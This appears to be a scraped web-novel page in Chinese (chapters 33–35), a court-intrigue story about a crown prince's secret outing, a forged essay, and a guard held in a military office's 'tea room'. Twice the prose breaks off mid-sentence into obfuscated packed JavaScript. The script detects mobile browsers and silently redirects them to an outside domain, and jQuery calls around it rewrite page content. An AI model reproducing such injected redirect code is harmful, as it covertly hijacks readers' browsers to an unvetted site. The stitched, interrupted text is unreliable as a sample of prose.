l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478015|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时估计会核查,我怕挨骂,哥哥替我写了罢。” ……姜南疏想起了家中的弟弟妹妹,顿时好笑道:“你原先的题呢,也是假手于人?” 乔矜摇摇头,“原先没人能帮我,我都自己写,写的不好的时候先生会罚我,今年已经挨了三次罚了,都说事不过三,但是这次这个太难了,我实在……”乔矜将手举在胸前,嘟囔着嘴一只手揉搓着另一只手的掌心,仿佛不愿回想打手心的滋味。 朝廷世家大族最注重对下一辈德行及学识的培养,且要挂钩政务,各家各族仅仅是祖训家规就极其繁多,更遑论这孩子小小年纪就担任太子侍读,其所承受的课业压力可见一斑。他不过还是一个小孩子…… “只是……”姜南疏执笔停在半空,“我与你的字并不一样,你自己誊抄一遍?” 乔矜终于欣喜过望,重重的点了个头道:“誊抄时我会尽量记住,抄完了,我就将南疏哥哥写的烧了,不会留下南疏哥哥来过的痕迹。” 姜南疏不可置信的蹙了蹙眉,“你是真的有把握能顺利送我出去,还是天真的有把握?” 乔矜抬头看向姜南疏,“我有把握!” 白皙的脖颈上一星红点映入眼帘,姜南疏想起马车行至东宫,他从迷糊中挣扎醒来,求生欲促使他对着乔矜拔刀相向。“这孩子难道全然忘了这事了吗?”姜南疏在心里问,没有答案,他抿唇轻咬了下自己,提笔开辩。 ****** 沈溟将巡防兵支配在各街道,唯独留下了去往鸿宇大街的口子。在街口寻了个茶楼,便打算进去逍遥。长跟着他的属兵华亭过来,拱了个手道:“大人,如果这边的事差不多了,不妨回去审问西郊抓捕的闹事者?” “你在教我做事?” “不敢啊大人,只是暂无证据判定此人就是真的闹事者,只是恰好在西郊抓住了,审完无事是要早些放走的。” “不急。”沈溟口干舌燥,应付了句就往茶楼里挤。 “不不不,大人,急啊。” “你急什么?急着见那美男子?” “呃……美不美的我倒是……不过大人,倪大人上月提了,顾都督也定下……本月开始,不能随意抓人到属司。” 沈溟不耐烦,争辩道:“谁说我抓人了,我不是说放进茶屋了,茶屋又不是牢房,我请大程百姓喝杯茶怎么了。” “大人,茶屋如今……也不可给您当暗牢使了……” 沈溟十分无奈,头疼道:“我口渴了,我回兵马属司喝茶!”他几乎是赌气的说完了这句,看也不看华亭,自己骑马往兵马属司赶。华亭长舒一口气,拽着马跟上。 一路赌气狂奔,不多时沈溟就到了兵马属司。刚要踏进门,熟悉的身影从街边屋檐闪过,沈溟收回脚步,朝屋檐走去…… “你过来了,是东宫有信了吧。” 北林点了点头,“我看你在街头巷尾的动静弄得不小,差不多慢慢收了吧。虽然你发疯并不让人觉得奇怪,但也别折腾你那些兄弟们了。” 沈溟怒极反笑:“你们火烧火燎的指使我,现下我把人给你拦回去了,你到说教起来了。” 北林依旧温和,哄道:“承蒙沈大人相助,烦请沈大人鸣金收兵吧。” 沈溟白了一眼,骄傲的转身欲走,忽而脚步一滞,忽而想到自己方才在鸿宇大街附近拦住太子,北林却已经早早在兵马属司等着了,时间上明显不对。“北林,你什么时候过来的?” “未时许。” 沈溟眉宇微凝,“你们,有亲眼见到太子吗?” “我不曾亲眼看到太子,只是宫中传出消息,予鹿安排在鸿宇大街附近的八角莲车驾进了轩天门,方肃公公驭马。”北林看沈溟表情似乎有异,又补充道:“太子车驾进轩天门时,我应该还在赶去轩天门的路上。等我到了轩天门,宫内传出太子已经进宫的消息,我便立马来你这里了。” 沈溟目光看向北林,“不对,太子应当在你出发来这里之后才刚刚被我发现行踪。” 两人并驾齐驱,沈溟比方才只快不慢。觌面打马而来的华亭避之不及,生生拽起马儿闪到一边,自己则落地滚出仗远,艰难爬起,闻了一鼻子烟尘,狼狈嘀咕道:“不,不请美男子喝茶了吗?” 33.东宫(下) 鸿宇大街附近搜捕的巡防兵退得差不多,剩下都是每日照常例行巡查的。楚琮瞻没有放松心神,愈靠近轩天门,愈是紧张。 “你现在知道着急了?” 楚琮瞻嘴硬道:“你懂什么。”脚下却步履生风。 “你再怎么急如星火也没用,那人莫不是诓你的,根本没有看到什么马车。” 再往前就是轩天门了,常理说来早就该看到乔广陵一行的身影。“怎么办呢,难道真的要大摇大摆走进去?”楚琮瞻心中正纠结着,忽而被男孩扯到一旁,原来是一队巡防兵走了过来。 “我带你走吧。” 男孩带楚琮瞻从一茶楼后厨暗巷寻了个矮窗翻进去,竟一路走到屋脊顶层。楚琮瞻哪里走过这样的地方,觉得十分新奇。更新奇的是,爬到顶,自屋脊背后探头望一望,能看清鸿宇大街的大半风貌。 “马车!”楚琮瞻惊喜往外,刚喊出声,嘴巴就被捂住,拽回隐身之处。 “你看!” 楚琮瞻顺着男孩指引,发现陆陆续续有很多巡防兵,整齐划一一队接着一队走过。“要等一刻钟,现在正是换防的时候,每次换防,他们还会巡查一圈,没有什么异常才会直接回兵马属司。” “你对巡防之事很了解。” 楚琮瞻像被点了一下,看向男孩,对方一直盯着走过的属兵,像是不经意的发问。 楚琮瞻盯着对方的表情,答:“自然了解。” “那只好在这里躲上一躲了。”男孩转过面来,“你现在这么如履薄冰,看来家法颇为严格,为何还要偷瞒着家里出来闹事?” 楚琮瞻冷哼一声,“你家法不严?这满大街抓的可不止我一个。” 男孩不语。 “你怎么不说话。” “恰恰相反,我想巡防兵闹出这么大动静,恰恰就是因为你一个人。” “……”楚琮瞻无法反驳。如果一开始他对这个猜想还持怀疑态度,那么当小阁楼内沈溟出现的时候,他就已经完全确定了。所以现在他必须马上赶回东宫。“我父,父亲很严格,我的老师,也就是我的舅舅,对我期望很高,还有我的母亲……” 楚琮瞻一只手握着檐顶已经看不清形状的角兽,拇指的指甲陷进木屑里。 看他满腹惆怅,男孩用力在楚琮瞻肩上拍了拍,安抚道:“那就别去想他们的期望,努力做好手头的事情。” 听罢,楚琮瞻忽然长吸一口凉气,继而把脸埋进掌心。“君子当以仁,君子不当以仁。” “……什么?” “君子当以仁,君子不当以仁。”男孩抬起头清楚的重复道,“这是前日的窗课,我写不出,也辩不明。” 很显然,在男孩的安慰下,楚琮瞻更痛苦了,“君子心怀以仁,是为人处世之本,君子不为仁义所支配,以大局和结果为准绳,此时仁义只是立身世间的利器。君子当善假于物。仁义也是物之其一而已。” 日影渐斜,冬日寒风扫过屋脊,楚琮瞻身处高处,又静坐了许久,他感觉到明显的冷意。听男孩说完,他唇齿翕动,良久,问了一句,“你还没告诉我你的名字。” “快!”男孩拍了拍楚琮瞻,“趁现在。” 楚琮瞻一看巡防的人马散去,二人立即朝着那绀青色马车奔去。 ****** 绀青色马车近在眼前,男孩忍不住冷笑:“这垂髫小儿就是对你怀抱期望的舅舅?不知贵庚啊。” 楚琮瞻急得脸都绿了,“谁说他是我舅舅了。”作势恶狠狠推搡睡在车轼上的小阿辰,“怎么就你守着车,不是说我舅舅在等我吗?” 小阿辰迷蒙双眼,仰头仔细看了眼前这平民打扮的太子楚琮瞻,晃悠悠坐起来,吭吭唧唧答:“老爷进宫了。” “那你府上大官司呢?” “走了。” “……”楚琮瞻憋了口气,又不知该和小阿辰说什么。 “给你闯祸兜底的人不在了吗?”男孩浅笑道。 听到男孩说话,小阿辰问:“这位哥哥是……” 小阿辰话没问完,楚琮瞻忽然转过身,拉起身边的男孩就往车里塞。转头对小阿辰说:“小阿辰,一会有人来,就说车里的是你的小主子。你就说他感染风寒,要送回府中,不许惊扰,听到了吗?” 仓促间,男孩瞥见不远处停下一驾玄色马车,慢悠悠从上面走下来以为贵气十足,风度翩翩的青年。男孩也不再多问,缩进了车内。楚琮瞻还在对着小阿辰耳提面命,“暂时,只是暂时把他当做,不是真的认他做小主子,就当帮我了。” 小阿辰在太子一阵疯狂啰嗦中,讷讷的点了点头,随即灿然一笑,“我知道啦!” “哟……”远远便看见自己侄儿一身平民打扮,低头对着车轼上的小孩说话,楚珩径直走过去。“太子今日有些风尘仆仆,这是去哪里微服私访了?” 楚琮瞻帮小阿辰整了整衣服,将人摆正坐好,揉着小阿辰的头发答:“这不是也想学学王叔爱与民同乐吗,结果乐子没寻找,倒是寻了一堆麻烦。”他也不瞒着楚珩,笑嘻嘻的走到楚珩身边,谄媚道:“璃王叔,我舅舅在宫中我指望不上了,你带我进去吧,这里里外外都是父皇的耳报神,尤其是玄意门那边,你的车能进玄意门,你带我进去吧。” 楚珩低头看向楚琮瞻,这孩子平时和自己并不非常亲近,但是人情礼数都是周到的。自从乾泽帝立了国本,他今年与楚琮瞻便甚少交流,这也与东宫课业繁重,太子被管教得更严脱不开关系。此时太子这般,不禁勾起往昔叔侄情谊,心道太子到底孩子心性,虽然他心里知道太子出宫所为为何,但也只是顺着太子的借口说教了两句。 “今日我若不路过,你打算找谁兜底?那车是太师府的?” “啊!”楚琮瞻佯装无异,站在楚珩和车子中间,“是,我侍读,表弟,他今日身子不适,他的小侍从正准备送他回去。” 这谎扯得乱七八糟,楚珩走过去,看了眼小阿辰,温和的问:“小乖乖,这车里是谁啊?” 小阿辰睁着澄澈的眼直视楚珩,笑呵呵道:“我的小主子。” “你主子生病了,我能看看吗?” 小阿辰看向楚琮瞻,楚琮瞻摇头,又提防楚珩看见。楚珩瞥了眼楚琮瞻,也不管他们打哑谜,长手捏着折扇撩起车帘,动作不由一滞。 空空如也! 楚珩看了看太子,又转头问小阿辰,“人呢?” 小阿辰搓着手指,一本正经道:“如厕去了。” ***** 楚琮瞻冥思苦索,那个看着和自己年龄相仿的男孩究竟何时从车内溜走的。回想了当时情状,终不得解。而璃王的车驾不觉已经停在了勤泽苑前。 里面隐隐有人声传来,楚琮瞻施施走进苑门,乾泽帝的声音沉稳有力,“太子稚气未脱,又处在顽劣的年纪,这时候的教化极易影响其一生,你作为太师,理当好好管教他,不能由着他的性子,让他养成凡事都有人替他撑腰的习惯。” “陛下说的是,太子虽有些顽皮,到底还是随了其母妃的性子,天真烂漫,善解人意,而又承袭陛下秉性,将来必是个有担当的,微臣今后也会竭力教导,烦请陛下放心。”乔广陵与乾泽帝说话间看到门口太子正拖着脚步,一步拆做三步朝殿中挪动。轻咳了一声,“太子殿下!” 乾泽帝转头。看到太子的时候,眉宇微凝。 楚琮瞻入内叩首。“父皇万安。” 乾泽帝侧目瞥了一眼,缓缓走到殿内正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔广陵默默了看太子,乾泽帝亦瞧着儿子的颅顶,抬手拈开那张薄纸,隽秀的墨字一笔一画,将方才太子口中所述用练达斐然的文采挥然纸上。在窗课的十分满意情感中,又生出来几分别的情感。 “好一个‘仁’为治国利器之说。”楚珩声音和人一同闯入殿中,没心没肺的赞叹道。 乾泽帝折起手中的纸,“璃王,你也来凑热闹了。” “陛下查问太子课业,我也来沾一沾这书卷气,毕竟这种每天紧张窗课,满脑子诗书的日子,我已经太久没有回味过了。” “你清闲自在就行了,不要说出来馋瞻儿了。”乾泽帝在心中挥去那几分复杂之意,对楚琮瞻道,“起来吧。” 楚琮瞻礼毕起身,乾泽帝这会子又注意起他这身行头,终究忍不住,“你这身衣服……” “陛下,太子,是跟着我的马车进来的。与太子同行的时候,臣弟竟觉得,这身和我平日里的装扮十分搭配。” 太子将出宫的事对楚珩和盘托出,楚珩反倒要替他遮掩了。 乾泽帝终于笑了,骂道:“罢了,市井里的风俗人情,等太子大了倒是可以让他多多了解一些,现下还是把心思放在课业上吧,你想打着这个幌子给他塞稀奇古怪的玩意儿,今日朕就替你说了,你索性再等他大些,那个时候你要是还能有这种闲情逸致,朕一个字也不会多说。” “是,谨遵皇兄口谕,呃……”楚珩看了一眼乔广陵,话锋一转,道:“我还在外遇到了乔侍读,说是病了。” 楚珩看着乔广陵的眼睛,乔广陵神情自然,“孩子家,三灾六痛的,没个消停,一年总有那么几次。” 楚珩没寻出端倪,只能去看太子,这孩子渡完劫般,肉眼可见的叹了口气,不知道是为窗课,还是别的。 34.脱困 北林和沈溟赶回到轩天门的时候,乔矜已经坐在回府的马车里了。 个中详细,甚为复杂,一切还要从太子给乔矜留信说起。太子虽然莽撞,但也并不是全无后手,凭借一起长大的信任和稚气未脱的胆大,便将在宫外接应的任务全权托给了比自己还小的乔矜。乔矜立即和方肃将太子十分熟悉的八角莲马车安排在太子交代好的街边。 姜南疏误打误撞钻进太子八角莲车驾避祸。当方肃公公驾着载着姜南疏的马车入东宫后,北林赶到轩天门,被告知太子安全入宫,他便立即前往兵马属司,好让打着抓贼名义掩护和保护太子的沈溟及时撤兵。殊不知这时宫内的乔广陵已经知道了勤泽苑内的变故。 晡时中,方肃公公又寻了一次乔矜,原来是乔广陵传来消息,乾泽帝即将来勤泽苑。他安排乔矜假借生病给太子出宫不在勤泽苑一个由头,这样也能立即将姜南疏送出宫。这是下策,但是乔广陵却是拖延时间的唯一方法。 而宫外,沈溟才刚刚在鸿宇大街附近遇见太子。正打算回兵马属司审问太子出宫的内情,却见北林早已等候在此。二人推测出太子并未入宫,恐生变故,立即折返寻觅太子踪迹。 乔广陵随驾来到勤泽苑,不见太子,只见太子笔迹所书的小策论陈放在太子桌案。 巧的是,太子姗姗赶回,在乾泽帝面前说出的出宫理由居然与乔广陵仓促的应变计划不谋而合。这下所有人都松了一口气。 —— 马车内的软凳今日格外硌得慌,乔矜从屁股下面摸索出一枚络子裹着的玉佩。乔矜把坐在车轼上和马夫一起玩闹的小阿辰喊进去,小阿辰咿咿呀呀将在鸿宇大街偶遇太子和璃王等人的事说了…… 那厢众人都相安无事,这厢北林和沈溟还在宫外干着急。沈溟不好久待,径自走了。北林则守到酉时,才把乔广陵盼出宫。 “沈大人说今夜再去府中,他先回兵马属司给把人给审了。” 乔广陵不甚好奇,倒是关心起别的事情,“旅邸送配给,沈溟是不是一次也没去过?” 北林想了想,“旅邸配给三日一送,沈大人这性子,加上倪昌、倪奂、顾都督几人又是一向由着他的,估计等冬遇结束他也不一定去上一次。” “不能因为我们的事,耽误了他自己的事。” “左不过是被陛下说两句,实在护不住,顾羌行扣他点俸禄。”北林又多想了一层,问乔广陵:“主子难道是觉得太子出宫这件事,背后始作俑者和旅邸某些人有关?” 乔广陵摇摇头“没有,不过不排除你说的这个可能性。” “说来也奇,好端端的,太子竟然独自出宫,就为了找陛下和合妃娘娘的祝寿礼物?” 乔广陵双手拢了拢袖,“陛下与合妃双寿辰礼,又逢冬遇大典一起,太子年幼,才入驻东宫不久,这对他来说的确是出生以来遇到的最值得殚精竭虑的事情了。”乔广陵抬头,冷月当空,“也怪我,这段时间对太子疏于关怀。” “主子,军粮案及蔚王一案,筹谋多时才得这样的结果,朝廷中还有多少明争暗斗,太子不经事,是难以快速成长起来的。” 乔广陵微微颔首,眼神变得复杂“不仅是太子,还有予鹿。”他想到今日那篇策论,“这事还没结束,先回府吧。对了,予鹿近日就待在静心阁,你看着点。” “……”北林不解,心疼道:“好端端的,您罚予鹿做什么?” ****** “罚不是最重要的,最重要的是找到人。” 旅邸姜府,宴深拿着马鞭站在廊下,露天的院子里高高低低跪了两排人。惹是生非的孩子们和随行的卫将无人幸免,站在一旁的黄碚正在试图劝解。 “他自两岁就跟在我身边,如同亲生,他要是出了什么事情,我该怎么办,我该怎么跟他爹娘交代?”养儿子丁越没有回府,姜家上下急得团团转。宴深此时正是怒火中烧的时候,姜长鹰也不敢近前。 不多时,卫将上前来报,说今日西郊,武城兵马属司抓了一名闹事者,听巡防兵形容,估计就是丁越。 “怎么确定是丁越哥?”江南苒问。 “可能,因为样貌吧。”姜南羿脱口道。 “咳。”江出干咳一声,“听说,五城兵马属司的千户大人,有爱请人喝茶的习惯。” 姜南阗瞄了一眼江出,“父亲,不如,找沈千户问问?” 宴深冷哼一声,对这些闯祸的兔崽子们的盘算心知肚明。姜长鹰也刹那明白,这几个孩子早就把情况摸清了,回来认错完就等他出马。 “其实如果只是喝茶的话,好像也没什么,毕竟丁越兄并非闹事者。”黄其甫倒是比较看的开。 江出反驳道:“说是喝茶,其实非也,这个兵马属司看上去一派凛然正气,但是据说里面邪门的事情也时有发生。比如市井就有传兵马属司兵爱抓人回去盘问,且会使用特殊手段审讯,而所谓的喝茶就是其中一种。” 此话一出院中的人都急了,宴深不愿相信,“难不成没有犯事,还会滥用私刑不成。兵马属司掌管大程兵马大权,岂不是枉顾法度。” 江出道:“可恰恰是重权之下,最易滋生阴暗和丑恶。” 江南苒跟着也急了,跑到姜长鹰脚边跪求道:“不行,爹爹,那赶紧想办法把丁越哥哥救出来,不能让他继续呆在那虎狼窝里了。” 姜长鹰抱扶起女儿,示意大家都起身。“传言不可轻信,何况……我觉得兵马属司的千户大人,不像是此种人。” “你指的是哪个千户大人?”宴深看着姜长鹰,“人是看不透的,你不明白吗?” 姜长鹰哑然,宴深稍稍收敛厉色,转言道:“无论如何,丁越要平安回来。” “二哥,你觉得滥用私权,把茶屋当暗牢的人是谁?”院中争执不休,姜南羿侧头问站在身边的姜南疏。 其实姜南疏也在想这个问题:“我不知,我在想兵马属司三个千户一个副都督,今上想看的就是他们相互制衡,怎会出现传言所谓的滥抓滥审。除非一下子选了四个人都是狼狈为奸的佞臣,但这根本不可能,兵马属司看上去直属御前,但是上面有内阁,下面还有兵部呢。” 姜南羿轻笑了一声,“二哥哥说得对,但是我却觉得,恰恰是这种制衡,让为首的几人互不干涉呢?据说兵马属司几位千户之间相处和谐,所谓‘大事不干涉,小事不计较’,应当是他们彼此之间,阵营已经划分得比较明确了。” 院中之人都静下来听他两说话,姜南阗问:“五弟的意思是,即使爹爹找了某位今夜当值的千户大人,若丁越之事不是他主张或主导的,也无济于事吗?” 宴深心弦一紧,姜长鹰思忖片刻,拿起外袍就朝院外走去。黄碚江出等人立即跟上。 “爹爹这是准备劫狱吗?”江南苒天真的问道。 姜南羿揶揄:“你死心吧,爹爹不会带着全家浪迹江湖的。” 姜南阗轻拍着江南苒的后脑勺,安抚道:“无论如何,二弟那话没错,我不信兵马属司里所有人都是奸佞。” 宴深听到姜南阗这样说,不由心中莫名感慨,他真的和姜长鹰一样,太容易相信一个人,也太容易认定一个人。 ****** 进了五城兵马属司,丁越并没有被苛待,连审问之类的重话都未听到一句。不多时,几名属兵便将丁越带到了一处茶屋。只让他等着,别话没有。 茶房昏暗,虽有淡淡的茶香,但看各处桌椅陈设,并不是招待客人的样子。丁越困在此处的时间并不久,可随着时间推移,又没人来同他说一句话,逐渐心急如焚。他害怕等到姜长鹰等人知道自己落入兵马属司之手,必定如热锅上的蚂蚁,如果因他把事情闹开,那就很难收场了,且对刚入都的姜家来说也没有任何益处。 丁越决心要喊人来问话,却在侧耳辨别外间是否有人的时候,听到了两属兵正在交谈,且所说似乎关系自身。 “这小公子长得倒是水灵。” “千户大人不是说今日之今日之事已经解决了,闹事的也都抓到了,没有大的问题。” “闹事的是闹事的,你哪次见大人把小小的闹事之徒关在暗牢?” 暗牢?丁越回头又辨别了一眼自己身处的地方,不是名义上的暗牢,所以,是某一个千户大人私设的暗牢? “你的意思是,这小子大有来历?” “有没有来历,问了才知道,不过你光看他这模样,大人不是说了,要请美男子喝茶。今天不是还念叨吗?” 大人?美男子?只言片语间,一个滥用职权,荒淫无度,毫无底线的佞臣已经在丁越脑子模糊成型。“狗千户!”他在心中暗骂了句。 “话说大人不是说要来亲自审……呃不,亲自请这美男子喝茶,怎得还没来。” 巧言令色,以公谋私! “临了又有事情走了。” “有事,又能有什么事,大人今天一天都火急火燎的,咱都拿捏不准他。” 言而无信,鼠技虎名! “你管那么多呢,好歹这人是他特意交代过的,连倪千户都不来过问。” 官官相卫,枉顾法度! “也是,咱就好好把人看住了,等沈千户人一到,咱们的任务也就算完成了。” 蛇鼠一……等等,沈? “不是,我就怕别又抓回来一个,到时候茶房可只有这一间,倪大人是不会再给咱们沈大人别的地儿了。” 沈? “你以为……”属兵稍稍压低声音,“里面这种的,是随便就能抓到的吗?” 沈…… ****** “沈千户?这位军爷的意思是,沈千户不发话,就不能放人了?” 华亭正在与人对峙,倪昌忙完差务,回属司才歇息了不久,这会子闻声又出来了。 “我们是璃王殿下派来的。”为首的罗途明晃了晃手中的腰牌,对倪昌道:“千户大人,人进去多久我们心中有数,这位不是闹事者,按照大程律法,兵马属司不可不经审问擅自抓人回兵马属司,且还将人关进属司刑狱迟迟不审问不放人。” 华亭说:“从未将人抓住关起来,人也不在刑狱,乃在兵马属司茶屋,正招待着呢。” 罗途明冷笑:“茶屋,你们兵马属司的茶屋究竟是个什么地方,华校尉就不要自欺欺人了吧。” 华亭也不惧,“坊间传闻怎可轻信,茶屋自然就是喝茶的。” 倪昌看向华亭:“沈大人呢?” 面对倪昌,华亭有点愧疚,今日的烂摊子都是沈溟制造的,但还是硬着头皮答:“回大人,沈大人说有事,现在未归。” 倪昌脸色有点不好,人是自他去旅邸送配给前抓的,到现在差不多两个时辰过去了,沈溟却还没回来。 “在下已经证明,此人非是闹事者,大人不信大可以亲自审问。按理说你们抓人的时候就该好好问清楚,而不是不管三七二十一就将人抓走。还关这么久,如果真的按照法规章程办事,怎么还会需要罗某跑这一趟。” 罗途明打着璃王的旗号给人作保,倪昌不知事情原委,难以判定沈溟的真正用意,轻易放人恐给沈溟造成麻烦。于是打算用“拖”字诀。但罗途明一早看穿,率先说道:“倪千户若有为难也不妨事,在下就在这里等一等便是。” 这意思是要倪昌当即审问清楚。兵马属司各千户办事互不干涉,对外他们永远只能铁板一块,统一行事。倪昌更不能将此作为搪塞的借口。 倪昌华亭等人进了属司内。华亭其实并不知道茶屋里关的究竟是什么人,为何沈溟强调将人扣押,为何说好的审问又迟迟没有进行。倪昌见他一问三不知,径直去了关人的地方。 茶屋内,丁越已经自顾自泡好了一壶茶,“千户大人来了?” 隔着桌案,倪昌看不清丁越的模样,“这位公子虽有人作保,但是我不得不多问一句,今日为何出现在西郊山林?” 丁越站起身,不卑不亢道:“西郊山林并无禁制,千户大人若问为何我会被抓,我想,您更应该问问把我关在这里的人。” 倪昌也想问,但是沈溟现在的连个影子都没有。“听说阁下与今日恩悌巷闹事者有关。” “恩悌巷中,有人当街使用火药,有人当街殴打平民,有人当众抢夺物品,这些事不知兵马属司是否都一一审查清楚?” 恩悌巷的事,经手的是沈溟,丁越说的这些,华亭未来得及告知,且据倪昌所知,今日除了此人,没有其他人被抓进兵马属司。 “我想肯定是没有,不然也不至于关押我到现在。还是说,兵马属司抓人并不问事情原委,也不看证据,而是另有一套规则。” “……”倪昌被噎了一下。 丁越将泡好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519067|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的茶汤注入杯中,先给倪昌筛了一盏,后又将自己的茶一饮而尽。“烦请千户大人转告沈千户,今日多谢他的茶了,来日记得去找我讨回来。” 不知为何,倪昌也觉得此人不像是当街闹事的,倒像是来讨债的,确切的说,是来找沈溟讨债的。 “敢问阁下……”倪昌为防沈溟事后追查,问道:“尊名及居所。” 丁越走到门口停下,“千户大人,我们见过的,我是姜指挥史府中卫将。丁越。” 倪昌回想起第一次去旅邸送配给时忽然闯进厅内的那名俊逸清秀的卫将,也是后来两次送配给时接应配给的年轻公子。“原来是他,怪不得方才虽没看清对方的脸,却觉的那身姿形态,仿佛在哪见过。倪昌解惑般点了点头,忽又愕然,“不对,姜指挥史卫将,怎么会是璃王出面要人?” 丁越早已走出兵马属司,出门就看见一行人骑马向他走来,却不是姜府的人。为首的冲他笑了笑,丁越不明所以,只见边上一名随从下马,把缰绳递给了丁越。 “公子可是要回旅邸?我愿送公子一程。” 丁越讶然,愣在原地,“阁下是?” 为首的微微倾身,对着丁越温和道:“将你从这兵马属司捞出来的人。”说完这句便调转马头,果真朝旅邸的方向去了。其余人则闪在一边,给丁越别开一条路。 沉吟片刻,丁越决定跟上。二人并辔而行,丁越回首,后方随从并没有跟上的意思。 “公子不想和我单独说话吗?” 此人剑眉星眸,端方倜傥,丁越问:“阁下是什么人,如何得知我在兵马属司,又为何要救我出来?” 那人朗声一笑,“在下罗途明,字子信,是璃王座下贴身护卫。盖因璃王殿下府内失窃一副画作,多方巡查,终于得知此画的下落。” 丁越不觉伸手探向腰间别着的那幅卷轴。 “公子,可否将那副画给子信看看。” 丁越略有犹疑,“你怎么判定这幅画就是璃王殿下遗失的那副?” 罗途明左手握着辔绳,右手把着腰间的环佩,一下一下抛着玩,“公子不信,可以打开那卷轴看看,是否是一副神武祭天图。” 徐徐展开那画卷,果见画卷中神武大帝手持宝剑,身着祭祀道袍舞剑,天降神光照拂大地,普天之下,众生皆凭借人帝向天借来的这缕光辉得以幸生。丁越道:“画工精美,笔触细腻有力,整个画卷气势恢宏,的确教人叹服。只是这画虽美,旁的精妙我却再也看不出了。” 罗途明面色依然,耐心继续解释:“逐本溯源,此画源于卯正年间太傅戴惠之手,原为卯正三年陛下祭天大典所作,本为讨得祥瑞之意,不成想就在卯正爷祭祀祈福,戴惠呈献画作之时,狂风四起,霎那间乌云接日,天雷滚滚,道道电光撕扯在头顶,不多时,一道电火从天而降,不偏不倚只击中在那副神武祭天图上,而那图却没有被损毁,反而是被雷灼烧处多了几道火痕。” 画卷彻底展开,中卷确实得见几道笔触鲜明却不常见的画锋。“这就是这幅画的点睛之笔了。” “没错,本来就是出自大家之手,又是特地呈献给国主的画作,而这偶然的巧合更增加了画作的非凡意义,成就了一副独一无二的绝世之作,所以这幅画也为后来文人骚客追捧。并且就那神来之笔钻研出来不少绘画技巧。原本那画是珍藏在宫内宝录阁的。但是天元年间,先帝重新开盒鉴宝,看到的却是一摊面目全非的废图。” “宝录阁失窃了?” “不知,”罗途明摇摇头,“许是经年累月,画作没有保存好,受潮腐败,又许是被人偷梁换柱了。”罗途明没有感情的叹了句,继而话锋一转,“先帝对墨宝不甚喜爱,便没有仔细追究,后不了了之。不过这世上许多人,还是会以完美重现这画作的精妙而呕心沥血。”罗途明看向了丁越手持的画。“就连当今陛下,也十分沉迷此画,曾遍寻民间大家令其不遗余力,仿制临摹,但都以失败告终。” 丁越顺其目光,看着手里的画,稍加思忖。“传闻璃王是个风流雅致的王爷,想必璃王殿下亦深爱此画,不知历经怎样的千辛万苦,又有着怎么的机缘巧合,才得到这么一副最接近原作的仿品。此画对他来说应十分重要。”说完就将重新封卷好的画递给罗途明。罗途明伸手,却抓住了丁越手腕。 “罗公子?”丁越不明所以,对罗途明的举动略感惊讶。 “喊我子信吧。”罗途明笑的真挚,“璃王殿下说了,这画送给有缘人,了却一桩牵挂也是好的,公子既救这画于水火,没落入小人之手,那此画就归公子所有了。是留是送是扔,全凭公子。” “画作于我如同牛嚼牡丹。”丁越推脱,“还是算了……” “公子!”罗途明攥紧执画的手,慢慢却坚定的推回去,“公子如此人物,配这幅画,绰绰有余。” 丁越还想再说,罗途明却拽曳着绳索向另一条岔路奔去,只留下一句:“今日之事不足为外人道,咱们后会有期。” ****** 一日之内,所经之事全部透着诡异二字,丁越站在原地望着草木摇霜的路,并不知道它最终通往何处。不期之事接踵而至,期待之人却久盼无果。丁越徒生出一股委屈,竟然把要赶紧回旅邸的急切抛之脑后,直等到巷道尽头杂沓马蹄声向自己涌来,丁越才回神。 “丁越。真的是你,你被放出来?怎么不回家?”黄碚一通询问,却见丁越讷讷的。 “家,家不是在坞城吗?” 闻言姜长鹰不由凝滞,黄碚掌心拍在丁越肩上,把着人担心道:“丁越!是不是兵马属司的人,他们欺负你了?” 丁越摇摇头,忽而又点了点头。 姜长鹰立即上前,“谁?不用怕,你跟姜伯说,究竟发生了什么?” 丁越吸了口气,忽而问,“姜伯,今日我没有接应配给,失职了。” 姜长鹰皱眉,“傻孩子,这能是什么要紧事。” “今日送配给的依然是倪昌倪大人吗?” 一旁揪着心观察丁越半天的江出好像看出点什么,“是倪千户。” 丁越复又叹了口气,“的确不是很要紧。”忽而挺胸抬头微微一笑,“指挥史,我没事。” 姜长鹰等人心中狐疑,把人打量着,“真没事吗?” “嗯,我没事。”丁越夹着马腹,驱马朝旅邸跑去。 35.往事(上) “真是一出又一出好戏啊。”周岑感叹道。 楚珩今晚坐看好戏,确实让他心情舒畅。楚珩从来不在王府内见周岑,今夜却是个例外。“还是周阁老消息灵通,人在内阁,却知道东宫的事。” “这不是托蔚王的福么,他安插在皇上身边的人露出马脚,被清理得差不多了,不过东宫那边倒是出人意料隐藏至今。” “所以太子出宫寻觅所谓的墨宝,背后指使之人,真的是蔚王?” 周岑面上依旧含笑,只是不答。 楚珩也看不出周岑心里在想什么,直截了当的说:“我以为这是周阁老安排的。” 周岑并不急着辩驳,而是问道,“殿下缘何这样认为?” 